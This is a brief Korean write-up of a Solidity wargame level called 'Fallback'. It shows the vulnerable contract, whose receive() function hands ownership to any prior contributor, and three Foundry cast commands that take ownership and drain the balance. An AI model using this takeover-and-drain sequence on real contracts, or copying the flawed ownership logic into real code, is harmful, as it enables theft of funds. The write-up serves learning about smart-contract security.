// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Fallback {
mapping(address => uint) public contributions;
address public owner;
constructor() {
owner = msg.sender;
contributions[msg.sender] = 1000 * (1 ether);
}
modifier onlyOwner {
require(
msg.sender == owner,
"caller is not the owner"
);
_;
}
function contribute() public payable {
require(msg.value < 0.001 ether);
contributions[msg.sender] += msg.value;
if(contributions[msg.sender] > contributions[owner]) {
owner = msg.sender;
}
}
function getContribution() public view returns (uint) {
return contributions[msg.sender];
}
function withdraw() public onlyOwner {
payable(owner).transfer(address(this).balance);
}
receive() external payable {
require(msg.value > 0 && contributions[msg.sender] > 0);
owner = msg.sender;
}
}
이 문제는 위 컨트렉트에 owner가 되어 withdraw 함수를 호출하여 모든 이더를 빼내면 풀리는 문제이다.
require(msg.value > 0 && contributions[msg.sender] > 0);
이 require문만 통과하게 되면 owner가 될 수 있는 것을 확인할 수 있다.foundry를 이용하여 풀이하였다.
cast send --private-key $P_KEY --rpc-url $G_RPC 0x4BE63fD5FE3378B322BFDFD53aEe08055514782f "contribute()" --value 0.00001ether
contribute[msg.sender] += 0.00001 ether
cast send --private-key $P_KEY --rpc-url $G_RPC 0x4BE63fD5FE3378B322BFDFD53aEe08055514782f --value 0.00001ether
receive 호출 ( value: 0.00001 ether)
Owner get
cast send --private-key $P_KEY --rpc-url $G_RPC 0x4BE63fD5FE3378B322BFDFD53aEe08055514782f "withdraw()"
withdraw()로 컨트렉트 모든 balance get